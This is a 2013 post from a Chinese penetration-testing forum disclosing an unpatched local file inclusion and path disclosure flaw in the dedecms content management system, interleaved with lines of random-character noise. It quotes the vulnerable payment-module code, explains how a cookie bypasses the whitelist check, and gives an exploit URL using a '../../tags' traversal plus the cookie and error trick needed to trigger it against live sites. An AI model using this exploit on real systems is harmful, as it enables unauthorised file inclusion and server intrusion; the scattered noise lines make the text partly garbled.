中国网络渗透测试联盟
标题:
dedecms本地文件包含及物理路径泄露0day
[打印本页]
作者:
admin
时间:
2013-4-4 17:25
标题:
dedecms本地文件包含及物理路径泄露0day
晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)
% h( o1 F# n, {- v7 }
3 q# g# g2 v- h
出现漏洞的两个文件为:
6 u( f: z2 b& M. a# n
Include/payment/alipay.php
9 x" x. M- R2 @0 x$ r$ B6 {: Z
Include/payment/yeepay.php
# t* P% L# Z- G
漏洞均出现在respond方法里,估计这两个文件是临时工写的。
' c0 e) ]- R1 h& ~. }
, ~4 ^& D6 {) m4 I1 {7 ?* m
Include/payment/alipay.php
3 o, w' S* W: ]$ r- o) Z8 F
+ ~" M/ I$ a7 |, a7 ~6 k6 ]
......
3 t+ N8 R) F3 u- D9 L* o. S& E+ K
function respond()
$ w5 L; g3 }8 a9 p
{
7 H: @$ w" _) y6 U! E
if (!empty($_POST))
% g5 O( r. q4 y$ S2 A2 F
{
. ~* X" l, [. ~- u6 E/ r. C$ ]; T
foreach($_POST as $key => $data)
5 u9 s! z' P+ V
{
s. V7 ]2 l4 j4 ?1 L0 H
$_GET[$key] = $data;
; ^) m- U3 Z0 ~+ w7 u a3 F
}
" P% d# }1 H/ r- ]
}
8 O6 h w7 m, G
/* 引入配置文件 */
0 q A I* b N
require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
% L0 X* y' g* f: T0 J& s0 _9 F
......
& D( F$ s* z6 n: Q! z
/ J! p: }; m7 S1 b) p' q
# J/ e, h' B1 W. I& K
大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。
. g3 e; R+ b: r/ p5 S
! I3 I) I7 j4 Z% T; [
Include/payment/yeepay.php
6 }. X( x; \% L; K7 I6 i0 g% l* S k' O
8 R2 y1 e: }2 j- _+ n9 |/ g
& C+ r& G: U# B; }
! ~6 I1 h. H* g" I1 a/ b
......
9 u9 k P2 p6 e2 {0 [
function respond()
: A* a. @3 o$ a/ O
{
+ U" B1 n4 x& d
5 I7 O/ S* G6 B0 J! V
/* 引入配置文件 */
3 m, k0 T4 W6 K, q# X+ r1 S
require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';
7 A+ p8 E5 u7 g
! x; s9 H0 v+ F) S' m! o5 X6 M. `1 O
$p1_MerId = trim($payment['yp_account']);
( a2 `% I0 U$ e6 r. \2 C3 a9 l
$merchantKey = trim($payment['yp_key']);
. c; O& B2 U% B+ N/ T. p6 J8 }+ s
......
) ?" y- O9 t, x0 L8 l* `. ^
2 _ F1 S( L- H! C4 S: K
: W( W# F9 n3 c) z m7 k
y$ `0 x' h0 h6 |% m. _
0 z: f# k, N% t
大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。
, z/ y5 L3 T1 P& }: I c, [$ k6 t
# A$ f- ^7 {) [" P. ~0 M
这两个方法在plus/carbuyaction.php文件调用。
; @# ~! C& P& R1 \ i
' b; |7 M1 r8 p; b' D
plus/carbuyaction.php
0 O6 M! E6 C2 ?. B P
1 o F" F& U" h5 i( H; Y
......
/ j \* V' L3 ^! K* x+ a+ e# b
} else if ($dopost == 'return') {
/ M; ^$ b- Q8 W6 q
$write_list = array('alipay', 'bank', 'cod', 'yeepay');
' h! u: Y! s! D3 Z0 G
if (in_array($code, $write_list))
- h2 M e% E, {/ g/ G5 p
{
- l# K" H+ }0 U5 r7 X$ t! d
require_once DEDEINC.'/payment/'.$code.'.php';
T" ]- Y% @# S$ Y
$pay = new $code;
8 n7 y1 U4 e5 P; x; i* c
$msg=$pay->respond();
+ @1 r8 l# A" V. q" V( Z
ShowMsg($msg, "javascript:;", 0, 3000);
8 |" N. M. G: _$ p9 D
exit();
9 _7 N" B# l, k
} else {
' {, |, F! L6 k& a% |) k7 w/ n
exit('Error:File Type Can\'t Recognized!');
% A @& o2 ]5 z/ N% f: J
}
. K& z h4 a+ ^( F, f4 q8 Y8 S3 D
}
" a/ j0 E7 f5 \. U* i0 B! L* G
......
3 w6 d* [6 C G1 n! e' p5 p
* ^+ W; @5 a5 c% q7 P+ p6 q5 \
% B1 d* s; E. @3 M5 e% Q
0 v1 q) T/ A: a+ A# }# e6 q
, V4 ^( M3 k" z. v- Y, M
, K ?+ A% P& s3 O( q
0 p$ O9 `& J- D& J" {& |. \- g0 e
大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。
) Y6 p" E a/ G" n
所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。
+ i E! t6 M! s6 J1 k' i( f' C$ X
5 O u# s8 V/ @
回到include/common.inc.php来看看他的机制。
: v+ a; o C: I5 m
# X8 q1 M4 Z: J3 R ^
* m5 c' s6 I9 i {
1 { R4 p4 v5 r
......
8 s! W8 r1 F- \% I6 U. b
foreach(Array('_GET','_POST','_COOKIE') as $_request)
3 d k# `4 ]) z3 Z4 t9 H
{
4 F: x. V- F* {* W3 f% i7 f; N5 c* f
foreach($$_request as $_k => $_v)
! }; L5 L( h! e' O, c: @) g
{
! i) n5 Y6 A9 z0 y6 _
if($_k == 'nvarname') ${$_k} = $_v;
/ T( y$ }# j% \- z
else ${$_k} = _RunMagicQuotes($_v);
2 q( s9 V0 s4 v' A
}
6 J! D2 ?3 `! _- Q, @. h/ n- O
}
5 G0 x+ N+ r' m
......
0 ^9 l0 W8 Z, d# h2 z/ [
大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:
http://www.php0day.com/plus/carb ... amp;code=../../tags
上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
z+ ~4 x& b) N) K8 w- k5 l. B8 I, C6 q
由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2